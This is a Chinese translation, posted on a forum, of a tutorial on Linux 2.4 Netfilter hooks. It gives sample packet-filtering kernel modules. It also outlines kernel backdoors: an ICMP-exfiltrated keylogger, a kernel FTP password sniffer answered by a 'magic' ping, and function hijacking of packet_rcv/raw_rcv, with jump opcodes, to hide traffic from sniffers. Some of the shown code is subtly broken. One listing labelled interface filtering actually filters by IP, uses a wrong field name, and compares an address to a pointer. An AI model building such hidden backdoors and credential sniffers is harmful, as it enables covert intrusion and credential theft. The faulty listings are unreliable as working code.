深入Linux内核网络堆栈

深入Linux内核网络堆栈
作者:bioforge [email]alkerr@yifan.net[/email] 
原名: <<Hacking the Linux Kernel Network Stack>>
 翻译,修改: duanjigang <[email]duanjigang1983@126.com[/email]>
 翻译参考:raodan (raod_at_30san.com) 2003-08-22 

[size=4] 第一章  简介[/size]

本文将描述如何利用Linux网络堆栈的窍门(不一定都是漏洞)来达到一些目的,或者是恶意的,或者是出于其它意图的。文中会就后门通讯对Netfilter钩子进行讨论,并在本地机器上实现将这个传输从基于Libpcap的嗅探器(sniffer)中隐藏。
    Netfilter是2.4内核的一个子系统。Netfilter可以通过在内核的网络代码中使用各种钩子来实现数据包过滤,网络地址转换(NAT)和连接跟踪等网络欺骗。这些钩子被放置在内核代码段,或者静态编译进内核,或者作为一个可动态加载/卸载的可卸载模块,然后就可以注册称之为网络事件的函数(比如数据包的接收)。

[size=3] 1.1 本文论述的内容[/size]

本文将讲述内核模块的编写者如何利用Netfilter的钩子来达到任何目的,以及怎样将网络传输从一个Libpcap的应用中隐藏掉。尽管Linux2.4支持对IPV4,IPV6以及DECnet的钩子,本文只提及IPV4的钩子。但是,对IPV4的大多数应用内容同样也可以应用于其他协议。出于教学目的,我们在附录A给出了一个可以工作的内核模块,实现基本的数据包过滤功能。针对本文中所列技术的所有开发和试验都在Intel机子上的Linux2.4.5系统上进行过。对Netfilte 钩子行为的测试使用的是回环设备(Loopback device),以太网设备和一个点对点接口的调制解调器。
对Netfilter进行完全理解是我撰写本文的另一个初衷。我不能保证这篇文章所附的代码100%的没有差错,但是所列举的所有代码我都事先测试过了。我已经饱尝了内核错误带来的磨砺,而你却不必再经受这些。同样,我不会为按照这篇文档所说的任何东西进行的作所所为带来的损失而负责。阅读本篇文章的读者最好熟悉C程序设计语言,并且对内核可卸载模块有一定的经验。
如果我在文中犯了任何错误的话,请告知我。我对于你们的建议和针对此文的改进或者其它的Netfilter应用会倾心接受。

[size=3] 1.2 本文不会涉及到的方面[/size]

本文并不是Netfilter的完全贯穿(或者进进出出的讲解)。也不是iptables命令的介绍。如果你想更好的学习iptables的命令,可以去咨询man手册。
让我们从介绍Nerfilter的使用开始吧……….

[size=4]第二章  各种NetFilter 钩子及其用法[/size]

[size=3] 2.1 Linux内核对数据包的处理[/size]

我将尽最大努力去分析内核处理数据包的详细内幕,然而对于事件触发处理以及之后的Netfilter 钩子不做介绍。原因很简单,因为Harald Welte 关于这个已经写了一篇再好不过的文章<<Journey  of a Packet Through the Linux 2.4 Network Stack>>,如果你想获取更多关于Linux对数据包的相关处理知识的话,我强烈建议你也阅读一下这篇文章。目前,就认为数据包只是经过了Linux内核的网络堆栈,它穿过几层钩子,在经过这些钩子时,数据包被解析,保留或者丢弃。这就是所谓的Netfilter 钩子。

[size=3] 2.2 Ipv4中的Netfilter钩子[/size]

Netfilter为IPV4定义了5个钩子。可以在 linux/netfilter-ipv4.h里面找到这些符号的定义,表2.1列出了这些钩子。

表 2.1. ipv4中定义的钩子
钩子名称	                      调用时机  

NF_IP_PRE_ROUTING                完整性校验之后,路由决策之前

NF_IP_LOCAL_IN	                 目的地为本机,路由决策之后

NF_IP_FORWARD	                 数据包要到达另外一个接口去

NF_IP_LOCAL_OUT	                本地进程的数据,发送出去的过程中

NF_IP_POST_ROUTING	向外流出的数据上线之前


NF_IP_PRE_ROUTING 钩子称为是数据包接收后第一个调用的钩子程序,这个钩子在我们后面提到的模块当中将会被用到。其他的钩子也很重要,但是目前我们只集中探讨NF_IP_PRE_ROUTING这个钩子。
不管钩子函数对数据包做了哪些处理,它都必须返回表2.2中的一个预定义好的Netfilter返回码。
表2.2 Netfilter 返回码
返回码	          含义

NF_DROP	      丢弃这个数据包

NF_ACCEPT	保留这个数据包

NF_STOLEN	忘掉这个数据包

NF_QUEUE	让这个数据包在用户空间排队

NF_REPEAT	再次调用这个钩子函数


NF_DROP 表示要丢弃这个数据包,并且为这个数据包申请的所有资源都要得到释放。NF_ACCEPT告诉Netfilter到目前为止,这个数据包仍然可以被接受,应该将它移到网络堆栈的下一层。NF_STOLEN是非常有趣的一个返回码,它告诉Netfilter让其忘掉这个数据包。也就是说钩子函数会在这里对这个数据包进行完全的处理,而Netfilter就应该放弃任何对它的处理了。然而这并不意味着为该数据包申请的所有资源都要释放掉。这个数据包和它各自的sk_buff结构体依然有效,只是钩子函数从Netfilter夺取了对这个数据包的掌控权。不幸的是,我对于NF_QUEUE这个返回码的真实作用还不是很清楚,所在目前不对它进行讨论。最后一个返回值NF_REPEAT请求Netfilter再次调用这个钩子函数,很明显,你应该慎重的应用这个返回值,以免程序陷入死循环。

[size=4] 第三章  注册和注销NetFilter 钩子[/size]

注册一个钩子函数是一个围绕nf_hook_ops结构体的很简单的过程,在linux/netfilter.h中有这个结构体的定义,定义如下:
struct nf_hook_ops 

{

                  struct list_head list;



                  /* User fills in from here down. */

                  nf_hookfn *hook;

                  int pf;

                  int hooknum;

                  /* Hooks are ordered in ascending priority. */

                  int priority;

};


这个结构体的成员列表主要是用来维护注册的钩子函数列表的,对于用户来说,在注册时并没有多么重要。hook是指向nf_hookfn函数的指针。也就是为这个钩子将要调用的所有函数。nf_hookfn同样定义在linux/netfilter.h这个文件中。pf字段指定了协议簇(protocol family)。Linux/socket.h中定义了可用的协议簇。但是对于IPV4我们只使用PF_INET。hooknum 域指名了为哪个特殊的钩子安装这个函数,也就是表2.1中所列出的条目中的一个。Priority域表示在运行时这个钩子函数执行的顺序。为了演示例子模块,我们选择NF_IP_PRI_FIRST这个优先级。
   注册一个Netfilter钩子要用到nf_hook_ops这个结构体和nf_register_hook()函数。nf_register_hook()函数以一个nf_hook_ops结构体的地址作为参数,返回一个整型值。如果你阅读了net/core/netfilter.c中nf_register_钩子()的源代码的话,你就会发现这个函数只返回了一个0。下面这个例子注册了一个丢弃所有进入的数据包的函数。这段代码同时会向你演示Netfilter的返回值是如何被解析的。

代码列表1. Netfilter钩子的注册
/* Sample code to install a Netfilter hook function that will

* drop all incoming packets. */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>



/* This is the structure we shall use to register our function */



static struct nf_hook_ops nfho;



/* This is the hook function itself */



unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{



return NF_DROP;           /* Drop ALL packets */

}



/* Initialisation routine */

int init_module()

{



/* Fill in our hook structure */

nfho.hook = hook_func;         /* Handler function */

nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf       = PF_INET;

nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

nf_register_hook(&nfho);

return 0;

}



/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}



这就是注册所要做的一切。从代码列表1你可以看到注销一个Netfilter钩子也是很简单的一件事情,只需要调用nf_unregister_hook()函数,并将注册时用到的结构体地址再次作为注销函数参数使用就可以了。
[size=4] 第四章  基本的NetFilter数据包过滤技术[/size]
[size=3] 4.1 钩子函数近距离接触[/size]
现在是我们来查看获得的数据如何传入钩子函数并被用来进行过滤决策的时候了。所以,我们需要更多的关注于nf_hookfn函数的模型。Linux/netfilter.h给出了如下的接口定义:
typedef unsigned int nf_hookfn(unsigned int hooknum,

                              struct sk_buff **skb,

                              const struct net_device *in,

                              const struct net_device *out,

                              int (*okfn)(struct sk_buff *));




nf_hookfn函数的第一个参数指定了表2.1给出的钩子类型中的一种。第二个参数更有趣,它是一个指向指针(这个指针指向一个sk_buff类型的结构体)的指针,它是网络堆栈用来描述数据包的结构体。这个结构体定义在linux/skbuff.h中,由于这个结构体的定义很大,这里我只着重于它当中更有趣的一些域。
或许sk_buff结构体中最有用的域就是其中的三个联合了,这三个联合描述了传输层的头信息(例如 UDP,TCP,ICMP,SPX),网络层的头信息(例如ipv4/6, IPX, RAW)和链路层的头信息(Ethernet 或者RAW)。三个联合相应的名字分别为:h,nh和mac。根据特定数据包使用的不同协议,这些联合包含了不同的结构体。应当注意,传输层的头和网络层的头极有可能在内存中指向相同的内存单元。在TCP数据包中也是这样的情况,h和nh都是指向IP头结构体的指针。这就意味着,如果认为h->th指向TCP头,从而想通过h->th来获取一个值的话,将会导致错误发生。因为h->th实际指向IP头,等同于nh->iph。
其他比较有趣的域就是len域和data域了。len表示包中从data开始的数据总长度。因此,现在我们就知道如何通过一个skbuff结构体去访问单个的协议头或者数据包本身的数据。还有什么有趣的数据位对于Netfilter的钩子函数而言是有用的呢?
跟在sk_buff之后的两个参数都是指向net_device结构体的指针。net_devices结构体是Linux内核用来描述各种网络接口的。第一个结构体,in,代表了数据包将要到达的接口,当然 out就代表了数据包将要离开的接口。有很重要的一点必须认识到,那就是通常情况下这两个参数最多只提供一个。 例如,in通常情况下只会被提供给NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN钩子。out通常只被提供给NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING钩子。在这个阶段,我没有测试他们中的那个对于NF_IP_FORWARD是可用的。如果你能在废弃之前确认它们(in和out)不空的话,那么你很优秀。
最后,传给钩子函数的最后一个参数是一个名为okfn的指向函数的指针,这个函数有一个sk_buff的结构体作为参数,返回一个整型值。我也不能确定这个函数做什么,在net/core/netfilter.c中有两处对此函数的调用。这两处调用就是在函数nf_hook_slow()和函数nf_reinject()里,在这两个调用处当Netfilter钩子的返回值为NF_ACCEPT时,此函数被调用。如果有谁知道关于okfn更详细的信息,请告诉我。
现在我们已经对Netfilter接收到的数据中最有趣和最有用的部分进行了分析,下面就要开始介绍如何利用这些信息对数据包进行各种各样的过滤。

[size=3] 4.2 基于接口的过滤[/size]
这将是我们能做的最简单的过滤技术。是否还记得我们的钩子函数接收到的net_device结构体?利用net_device结构体中的name键值,我们可以根据数据包的目的接口名或者源接口名来丢弃这些数据包。为了抛弃所有发向”eth0”的数据,我们只需要比较一下“in->name”和“eth0”,如果匹配的话,钩子函数返回NF_DROP,然后这个数据包就被销毁了。它就是这样的简单。列表2给出了示例代码。请注意轻量级防火墙(LWFW)会使用到这里提到的所有过滤方法。LWFW同时还包含了一个IOCTL方法来动态改变自身的行为。

列表2. 基于源接口(网卡名)的数据过滤技术
/* Sample code to install a Netfilter hook function that will

          * drop all incoming packets from an IP address we specify */



          #define __KERNEL__

          #define MODULE



          #include <linux/module.h>

          #include <linux/kernel.h>

          #include <linux/skbuff.h>

          #include <linux/ip.h>                  /* For IP header */

          #include <linux/netfilter.h>

          #include <linux/netfilter_ipv4.h>



          /* This is the structure we shall use to register our function */

          static struct nf_hook_ops nfho;



          /* IP address we want to drop packets from, in NB order */

          static unsigned char *drop_ip = "\x7f\x00\x00\x01";



          /* This is the hook function itself */

          unsigned int hook_func(unsigned int hook_num,

                                 struct sk_buff **skb,

                                 const struct net_device *in,

                                 const struct net_device *out,

                                 int (*okfn)(struct sk_buff *))

          {

              struct sk_buff *sb = *skb;



              if (sb->nh.iph->saddr == drop_ip) {

                  printk("Dropped packet from... %d.%d.%d.%d\n",

		  	  *drop_ip, *(drop_ip + 1),

			  *(drop_ip + 2), *(drop_ip + 3));

                  return NF_DROP;

              } else {

                  return NF_ACCEPT;

              }

          }



          /* Initialisation routine */

          int init_module()

          {

              /* Fill in our hook structure */

              nfho.hook     = hook_func;

              /* Handler function */

              nfho.hook_num  = NF_IP_PRE_ROUTING; /* First for IPv4 */

              nfho.pf       = PF_INET;

              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */

          

              nf_register_hook(&nfho);



              return 0;

          }

          

	     /* Cleanup routine */

          void cleanup_module()

          {

              nf_unregister_hook(&nfho);

          }


现在看看,是不是很简单?下面让我们看看基于IP地址的过滤技术。
[size=3] 4.3 基于IP地址的过滤[/size]
类似基于接口的数据包过滤技术,基于源/目的IP地址的数据包过滤技术也很简单。这次我们对sk_buff结构体比较感兴趣。现在应该记起来,Skb参数是一个指向sk_buff结构体的指针的指针。为了避免运行时出现错误,通常有一个好的习惯就是另外声明一个指针指向sk_buff结构体的指针,把它赋值为双重指针所指向的内容,像这样:
struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /


然后你只需要引用一次就可以访问结构体中的成员了。可以使用sk_buff结构体中的网络层头信息来获取此数据包的IP头信息。这个头包含在一个联合中,可以通过sk_buff->nh.iph来获取。列表3的函数演示了当给定一个数据包的sk_buff结构时,如何根据给定的要拒绝的IP对这个数据包进行源IP地址的检验。这段代码是直接从LWFW中拉出来的。唯一的不同之处就是LWFW中对LWFW统计量的更新被去掉了。
列表3.检测接收到数据包的源IP地址
unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */

 

	  ...

          static int check_ip_packet(struct sk_buff *skb)

          {

              /* We don't want any NULL pointers in the chain to

	       * the IP header. */

              if (!skb )return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;

              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) 

{ 

	            return NF_DROP;

               }

               return NF_ACCEPT;

          }


如果源IP地址与我们想抛弃数据包的IP地址匹配的话,数据包就会被丢弃。为了使函数能正常工作,deny_ip的值应该以网络字节序的方式存储(与intel相反的Big-endian格式)。尽管这个函数在被调用的时候有一个空指针作参数这种情况不太可能,但是稍微偏执(小心)一点总不会有什么坏处。当然,如果调用时出现了差错的话,函数将会返回一个NF_ACCEPT值,以便于Netfilter能够继续处理这个数据包。列表4 展现了一个简单的基于IP地址的数据包过滤的模块,这个模块是由基于接口的过滤模块修改得到的。你可以修改IP地址来实现对指定IP地址发来的数据包的丢弃。

列表4. 基于数据包源IP地址的过滤技术
/* Sample code to install a Netfilter hook function that will

          * drop all incoming packets from an IP address we specify */



          #define __KERNEL__

#define MODULE

#include <linux/module.h>

          #include <linux/kernel.h>

          #include <linux/skbuff.h>

          #include <linux/ip.h>                  /* For IP header */

          #include <linux/netfilter.h>

          #include <linux/netfilter_ipv4.h>



          /* This is the structure we shall use to register our function */

          static struct nf_hook_ops nfho;



          /* IP address we want to drop packets from, in NB order */

          static unsigned char *drop_ip = "\x7f\x00\x00\x01";



          /* This is the hook function itself */

          unsigned int hook_func(unsigned int hooknum,

                                 struct sk_buff **skb,

                                 const struct net_device *in,

                                 const struct net_device *out,

                                 int (*okfn)(struct sk_buff *))

          {

              struct sk_buff *sb = *skb;



              if (sb->nh.iph->saddr == drop_ip) {

                  printk("Dropped packet from... %d.%d.%d.%d\n",

		  	  *drop_ip, *(drop_ip + 1),

			  *(drop_ip + 2), *(drop_ip + 3));

                  return NF_DROP;

              } else {

                  return NF_ACCEPT;

              }

          }



          /* Initialisation routine */

          int init_module()

          {

              /* Fill in our hook structure */

              nfho.hook     = hook_func;

              /* Handler function */

              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */

              nfho.pf       = PF_INET;

              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */

              nf_register_hook(&nfho);

              return 0;

          }

	      /* Cleanup routine */

          void cleanup_module()

          {

              nf_unregister_hook(&nfho);

          }



[size=3] 4.4 基于TCP端口的过滤[/size]
另外一个要执行的简单的规则就是基于TCP目的端口的数据包过滤。这比检验IP地址稍微复杂一点,因为我们要自己创建一个指向TCP头的指针。还记得前面关于传输层头和网络层头所做的讨论吗?获得一个TCP头指针很简单,只需要申请一个指向tcphdr(定义在linux/tcp.h中)结构体的指针,并将它指向包数据中的IP头后面。或许一个例子就可以了。列表5展示了怎样检测一个数据包的TCP目的端口与我们想丢弃数据的指定端口是否一致。与列表3一样,这段代码也是从LWFW中拿出来的
列表5. 检测接收到数据包的TCP目的端口
unsigned char *deny_port = "\x00\x19";   /* port 25 */

	  ...

          static int check_tcp_packet(struct sk_buff *skb)

          {

              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain

	       * to the IP header. */

              if (!skb ) return NF_ACCEPT;

              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */

              if (skb->nh.iph->protocol != IPPROTO_TCP) {

                  return NF_ACCEPT;

              }

              thead = (struct tcphdr *)(skb->data  + (skb->nh.iph->ihl * 4));

              /* Now check the destination port */

              if ((thead->dest) == *(unsigned short *)deny_port) {

                  return NF_DROP;

              }    

	      return NF_ACCEPT;

          }


世纪上非常简单。不要忘了deny_port是网络字节序时,这个函数才能工作。数据包过滤技术的基础就是:对于一个特定的数据包,你必须对怎样到达你想要的信息段的方法非常了解。下面,我们将进入更有趣的世界。

[  本帖最后由 duanjigang 于 2006-5-21 18:45 编辑 ]

souce.rar



 duanjigang 回复于:2006-05-21 09:13:20

[size=5]第五章  NetFilter钩子其他可能的用法[/size]


在这里我将会就Netfilter在其它方面的更有趣的应用给你作一些建议。在5.1我会给你提供一些思想源泉。5.2节将会讨论并提供能运行的代码,这个代码使一个基于内核的FTP密码嗅探器,能够远程获取密码。事实上,它运行的很好以至于我有些惊恐,所以将它写了出来。

[size=4] 5.1 隐藏后门守护进程[/size]

内核模块编程实际上是Linux开发最有意思的领域之一。在内核中写代码意味着你在一个只被你的想象力限制的地方写代码。从恶意一点的观点来思考,你可以隐藏一个文件,一个进程,或者说你能做任何rootkit能实现的很酷的事情。或者说从不太恶意(有这种观点的人)的观点来说,你可以隐藏文件,进程,和各种各样很酷的动作,内核真正是一个很迷人的地方。
拥有一个内核级的程序员所具有的所有能力,许多事情都是可能的。或许最有趣(对于系统管理员来说这可是很恐怖的事情)的一件事情就是在内核植入一个后门程序。毕竟,当一个后门没有作为进程而运行的时候,你怎么会知道它在运行?当然肯定存在一些可以使你的内核能够嗅到这些后门的方法,但是这些方法却绝不会象运行PS命令那样的简单。将后门代码植入内核中并不是一个很新的话题。我这里要讲的,却是利用(你能够猜到的)Netfilter钩子植入简单的网络服务,将之作为内核后门。
如果你有必要的技能并且愿意承担在做实验时将你的内核导致崩溃的风险的话,你可以构造一个简单而有用的网络服务,将能够完全的装入内核并能进行远程访问。基本上说,Netfilter可以从所有接收到的数据包中查找指定的“神秘”数据包,当这个神秘的数据包被接收到的时候,可以进行一些特殊的处理。结果可以通过Netfilter钩子函数发送出去,Netfilter钩子函数然后返回一个NF_STOLEN结果以便这个神秘的数据包不会被继续传递下去。但是必须注意一点,以这样的方式来发送输出数据的时候,向外发送的数据包对于输出Netfilter钩子函数仍然是可见的。因此对于用户空间来说,完全看不到这个“神秘”数据包曾经来过,但是他们却能够看到你发送出来的数据。你必须留意,泄密主机上的Sniffer程序不能发现这个数据包并不意味着中间的宿主机上的嗅探器(sniffer)也不能发现这个数据包。
Kossak和lifeline曾为Phrack杂志写过一篇精彩的文章,文中描述了如何通过注册数据包类型处理器的方法来坐这些事情。虽然这片文章是关于Netfilter钩子的,我还是强烈建议你阅读一下那片文章(Issue 55, file 12),这片文章非常有趣,向你展示了很多有趣的思想。
那么,后门的Netfilter钩子到底能做哪种工作呢?好的,下面给出一些建议:
-------远程访问的击键记录器。模块会记录键盘的点击并在远程客户机发送一个Ping包的时候,将结果发送给客户机。因此,一连串的击键记录信息流会被伪装成稳定的Ping包返回流发送回来。你也可以进行简单的加密以便按键的ASC 值不会马上暴露出来,一些警觉的系统管理员回想:“坚持,我以前都是通过SSH会话来键入这些的,Oh $%@T%&!”
--------简单的管理任务,例如获取机器当前的登录用户列表,或者获取打开的网络连接信息。
--------一个并非真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。
--------文件传输服务器。我最近已经实现了这个想法。最终得到的Linux内核模块会给你带来数小时的愉悦。
--------数据包跳跃。将发送到装有后门程序主机的特定端口的数据重新定向到另外一个IP主机的不同端口。并且将这个客户端发送的数据包返回给发起者。没有创建进程,最妙的是,没有打开网络套接字。
--------利用上面说到的数据包跳跃技术已以一种半传输的方式实现与网络上关键系统的交互。例如配置路由等。
--------FTP/POP3/Telnet的密码嗅探器。嗅探向外发送的密码并保存起来,直到神秘数据包到来所要这些信息的时候,就将它发送出去。
好了,上面是一些简单的思想列表。最后一个想法将会在下一节中进行详细的介绍,因为这一节为读者提供了一个很好的机会,使得我们能够接触更多的内核内部的网段络代码。

[size=4] 5.2 基于内核的FTP密码获取Sniffer[/size]

针对前面谈到的概念,这里给出了一个例证—一个后门Netfilter程序。这个模块嗅探流向服务器的外出的FTP数据包,寻找USER和PASSWD命令对,当获取到一对用户名和密码时,模块就会等待一个神秘的并且有足够大空间能存储用户名和密码的ICMP包(Ping包)的到来,收到这个包后,模块会将用户名和密码返回。很快的发送一个神秘的数据包,获取回复并且打印信息。一旦一对用户名和密码从模块中读走都,模块便会开始下一对数据的嗅探。注意模块平时最多能存储一对信息。已经大致介绍过了,我们现在对模块具体怎样工作进行详尽的讲解。当模块被加载的时候,init_module()函数简单的注册两个Netfilter钩子。第一个钩子负责从进入的数据包(在NF_IP_PRE_ROUTING时机调用)中寻找神秘的ICMP数据包。另外一个负责监视离开(在NF_IP_POST_ROUTING时调用)安装本模块的机器的数据包。在这里寻找和俘获FTP的登录用户名和密码,cleanup_module()负责注销这两个钩子。
watch_out()函数是在NF_IP_POST_ROUTING时调用的钩子函数。看一下这个函数你就会发现它的动作很简单。当一个数据包进入的时候,它会被经过多重的检测以便确认这个数据包是否是一个FTP数据包。如果不是一个FTP数据包,将会立即返回一个NF_ACCEPT。如果是一个FTP数据包,模块会确认是否已经获取并存储了一对用户名和密码。如果已经存储了的话(这时 have_pari变量的值非零),那么就会返回一个NF_ACCPET值,并且数据包最终可以离开这个系统。否则的话,check_ftp()方法将会被调用。通常在这里密码被提取出来,如果以前没有接收到数据包的话,target_ip和target_port这两个变量将会被清空。
Check_ftp()一开始在数据段的开头寻找“USER”,“PASS”或者“QUIT”字段。注意,在没有“USER”字段被处理之前通常不处理“PASS”字段。这是为了防止在收到密码后连接断开,而这时没有获取到用户名,就会陷入锁中。同样,当收到一个“QUIT”字段时,如果这时只有一个“USER”字段的话,就将所有变量复位,以便于Sniffer能继续对新的连接进行嗅探。当“PASS”或者“USER”命令被收到时,在必要的完整性校验之后,命令的参数会被拷贝下来。通常操作中都是在check_ftp()函数结束之前,检验有无用户名和密码者两个命令字段。如果有的话,have_pair会被设置,并且在这对数据被取走之前不会再次获取新的用户名和密码。
到目前为止你已经知道了这个模块怎样安装自己并且查找用户名和密码并记录下来。下面你将会看到“神秘”数据包到来时会发生什么。在这块儿要特别留意,因为开发中的大多数问题会在此处出现。如果没有记错的话,我在这里遇到了16个内核错误。当数据到达安装此模块的机器时,watch_in()将会检查每一个数据包看他是否是一个神秘的数据包。如果数据包没有满足被判定为神秘数据包的条件的话,watch_in()会简单的返回一个NF_ACCEPT来忽略这个数据包。注意,神秘数据包的判定标准就是这个数据包有足够的空间能够容纳IP地址,用户名和密码这些字符串。这样做是为了使得数据的回复更容易些。可能需要申请一个新的sk_buff结构体。但是要保证所有的数据域都正确却是件不容易的事情,所以你必须想办法确保这些域的键值正确无误。因此,我们在此并不创建一个新的结构体,而是直接修改请求数据包的结构,将其作为一个返回数据包。为了能正确返回,需要做几个修改。首先,IP地址进行交换,结构体(sk_buff)中的数据包类型这个域的值要改为“PACKET_OUTGOING”,这个在linux/if_packet.h中定义了。第二步要确保每个链路层信息已经被包含在其中。我们接收到数据包的数据域就是链路层头信息后面的指向sk_buff结构体的指针,并且指向数据包中数据开头的指针传递了数据域。所以,对于需要链路层头信息的接口(以太网卡,回环设备和点对点设备的原始套结字)而言,我们的数据域指向mac.ethernet或者mac.raw结构。你可以通过检测sb->dev->type的值(sb是指向sk_buff结构体的指针)的值来判断这个数据包进入了什么类型的接口。你可以在linux/ip_arp.h中找到这些有效的值。最有用的都在表三列了出来。

表三.常见接口(网卡)类型
类型码	接口类型

ARPHRD_ETHER	以太网卡

ARPHRD_LOOPBACK	回环设备

ARPHRD_PPP	点对点设备



要做的最后一件事就是把我们要发送的数据包拷贝到返回的消息里面去,然后就该发送数据包了。函数dev_queue_xmit()使用一个指向sk_buff结构体的指针作为唯一的参数,在发送明显失败时返回一个负的错误码(一个负值)。这里“明显”的失败指什么呢?这样的,如果你给这个函数一个构造的坏的套接字缓冲,你并不会得到一个明显的失败。当出现内核错误或者内核栈溢出时就产生了一个明显的失败。这下知道错误怎样被划分为两类了吧?最后watch_in()返回一个NF_STOLEN告诉Netfilter让它忘记曾经看几过这个数据包。在调用dev_queue_xmit()时不要返回NF_DROP!如果你这样做了,你很快会得到一个肮脏的内核错误。因为dev_queue_xmit()会释放掉传递进去的套接字缓冲区,而Netfilter却会尝试去对已经释放掉的数据包做相同的事情。好了,代码的讨论已经足够了,现在是看代码的时候了。
[size=3] 5.2.1 nsniffer 的代码[/size]
代码超过发贴上限,见附件
[size=3] 5.2.2 getpass.c 代码[/size]
代码超过发贴上限,见附件

[size=5] 第六章  在Libpcap中隐藏网络通讯[/size]

[size=4] 6.1 SOCK_PACKET, SOCK_RAW 和Libpcap[/size]

系统管理员经常用到的一些软件可“数据包嗅探器”这个标题进行分类。最普通的用于一般目的的数据包嗅探器有
Tcpdump(1)和Ethreal(1)。这两个应用都是利用了libpcap这个库来获取原始套结字的数据包。网络入侵检测系统(NetWork Intrusion Detection System NIDS)也利用了libpcap这个库。SNORT也需要libpcap, Libnids----一个提供IP重组和TCP流跟踪的NIDS开发库(参见参考文献[2]),也是如此。
在一台Linux系统上,libpcap利用SOCK_PACKET接口。Packet套结字是一种能够在链路层接收和发送数据包的特殊套结字。关于packet套结字和它的用途可以说一大堆东西,但是本文是从它们当中隐藏而不是讲述如何利用它们的。感兴趣的读者可以从packet(7)的man手册中了解到更详细的信息。在此处。我们只需要知道packet套结字能够被libpcap用来从机器上的原始套结字中获取进入的和发送的数据。
当内核的网络堆栈收到一个数据包时,要对其进行一定的校验以便确定是否有packet套结字对它感兴趣。如果有的话,这个数据包就被分发给对它感兴趣的套结字。如果没有的话,这个数据包继续流向TCP层,UDP层,或者其它的真正目的地。对于SOCKET_RAW型的套结字也是这样的情形。SOCKET_RAW非常类似于SOCKET_PACKET型的套结字,区别就在于SOCKET_RAW不提供链路层的头信息。我在附录[3]中的SYNalert就是SOCKET_RAW利用的一个例子。
现在你应该知道Linux系统上的数据包嗅探软件都是利用libpcap库了吧。Libpcap在Linux上利用PACKET_SOCKET接口从链路层获取原始套结字数据包。原始套结字可以在用户空间被用来从IP头中获取所有的数据包。下一段将会讲述一个Linux内核模块(LKM)怎样从数据包中或者SOCKET_RAW套结字接口中隐藏一个网络传输。

[size=4] 6.2 给狼披上羊皮[/size]
(这个译法借鉴于参考译文)

当一个数据包被接收到并发送给一个packet套结字时,packet_rcv()函数会被调用。可以在net/packet/af_packet.c中找到这个函数的源代码。packet_rcv()负责使数据通过所有可能应用于数据目的地的Netfilter,最终将数据投递到用户空间。为了从PACKET中隐藏数据包,我们需要设法让packet_rcv()对于一些特定的数据包一点也不调用。我们怎样实现这个?当然是优秀的ol式的函数劫持了。
函数劫持的基本操作是:如果我们知道一个内核函数,甚至是那些没有被导出的函数的入口地址,我们可以在实际的代码运行前将这个函数重定位到其他的位置。为了达到这样的目的,我们首先要从这个函数的开始,保存其原来的指令字节,然后将它们换成跳转到我们的代码处执行的绝对跳转指令。例如以i386汇编语言实现该操作如下:
movl  (address of our function),  %eax

	jmp   *eax


这些指令产生的16进制代码如下(假设函数地址为0):
0xb8 0x00 0x00 0x00 0x00

    0xff 0xe0


如果我们在Linux核心模块的初始化时将上例中的函数地址替换为我们的钩子函数的地址,就可以使我们的钩子函数先运行。当我们想运行原来的函数时,只需要在开始时恢复函数原来的指令,调用该函数并且替换我们的劫持代码。简单而有效。Silvio Cesare 不久前写过一篇文章,讲述如何实现内核函数劫持,参见参考文献[4]。
要从packet套接字隐藏数据包,我们首先要写一个钩子函数,用来检查这个数据包是否满足被隐藏的标准。如果满足,钩子函数简单的向它的调用者返回一个0,这样packet_rcv()函数也就不会被调用。如果packet_rcv()函数不被调用,那么这个数据包就不会递交给用户空间的packet套接字。注意,只是对于"packet"套接字来说,该数据包被丢弃了。如果我们要过滤送到packet套接字的FTP数据包,那么FTP服务器的TCP套接字仍然能收到这些数据包。我们所做的一切只是使运行在本机上的嗅探软件无法看到这些数据包。FTP服务器仍然能够处理和记录连接。
    
    理论上大致就这么多了,关于原始套接字的用法同理可得。不同的是我们需要钩子的是raw_rcv()函数(在net/ipv4/raw.c中可以找到)。下一节将给出并讨论一个Linux核心模块的示例代码,该代码劫持packet_rcv()函数和raw_rcv()函数,隐藏任何来自或去往指定的IP地址的数据包。
[size=5] 第七章  结束语[/size]
希望到现在为止,你对于什么是Netfilter,怎样使用Netfilter,可以对Netfilter做些什么已经有了一个基本的了解。你应该也具有了在本地机器上将一些特定的网络传输从运行在这些机器上的嗅探型软件中隐藏的知识了。如果你想要关于这方面的压缩包的话,可以直接给我发送E-mail邮件。我会为你做的任何修改,注释和建议而感激。现在,我就把这些有趣的东西留给你,你可以自由发挥自己的想象力。

[size=5] 附录A 轻量级防火墙[/size]
[size=4] A.1 纵览[/size]
轻量级防火墙(Light weight fire wall ,LWFW)是一个简单的内核模块,它演示了第四章介绍的基本的数据包过滤技术。LWFW并通过系统调用ioctl提供了一个控制接口。
由于LWFW已经有了足够多的文档,所以我在此只就它怎么工作进行简单的概述。当LWFW模块被安装时,第一个任务就是尝试去注册一个控制设备。注意,在针对于LWFW的ioctl接口能够使用之前,需要在/dev目录下建立一个字符设备文件,如果这个控制设备注册成功的话,“in use”标识符将被清空,为NF_IP_PRE_ROUTE注册的钩子函数也就注册上了。clean_up函数做一些与此过程相反的事情。
LWFW提供了三个丢弃数据包的判定条件,它们按照处理的顺序依次是:
-----源接口(网卡名,如“eth0”,“eth0:1”等)
------源IP地址(如“10.0.1.4”,“192.168.1.1”等)
